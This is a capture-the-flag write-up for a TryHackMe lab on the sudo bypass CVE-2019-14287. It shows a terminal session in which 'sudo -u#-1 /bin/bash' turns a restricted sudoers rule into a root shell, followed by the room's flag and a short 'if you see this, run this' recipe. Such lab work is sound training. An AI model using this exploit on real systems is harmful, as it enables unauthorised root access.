



Sudo Security Bypass - THM (Done)

<https://tryhackme.com/r/room/sudovulnsbypass>

Resources for this video:

Exploit-DB for CVE-2019-14287 - <https://www.exploit-db.com/exploits/47502>

```
root@kali:~# ssh tryhackme@10.10.78.239 -p 2222
The authenticity of host '[10.10.78.239]:2222 ([10.10.78.239]:2222)' can't be es
tablished.
ECDSA key fingerprint is SHA256:p8qxMPPV/x0AsbdLybMXoOPR BUR07uTTrEzgrZWuHKU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.78.239]:2222' (ECDSA) to the list of known ho
sts.
tryhackme@10.10.78.239's password:
Last login: Fri Feb  7 00:14:41 2020 from 192.168.1.151
tryhackme@sudo-privesc:~$
```

```
tryhackme@sudo-privesc:~$ sudo -l
Matching Defaults entries for tryhackme on sudo-privesc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tryhackme may run the following commands on sudo-privesc:
    (ALL, !root) NOPASSWD: /bin/bash
tryhackme@sudo-privesc:~$ sudo -u#-1 /bin/bash
root@sudo-privesc:~# id
uid=0(root) gid=1000(tryhackme) groups=1000(tryhackme)
root@sudo-privesc:~# ls
root@sudo-privesc:~# cd /root
root@sudo-privesc:/root# ls
root.txt
root@sudo-privesc:/root# cat root.txt
THM{l33t_s3curity_bypass}
root@sudo-privesc:/root#
```

#If you see this

(ALL, !root) NOPASSWD: /bin/bash

#Run this

sudo -u#-1 /bin/bash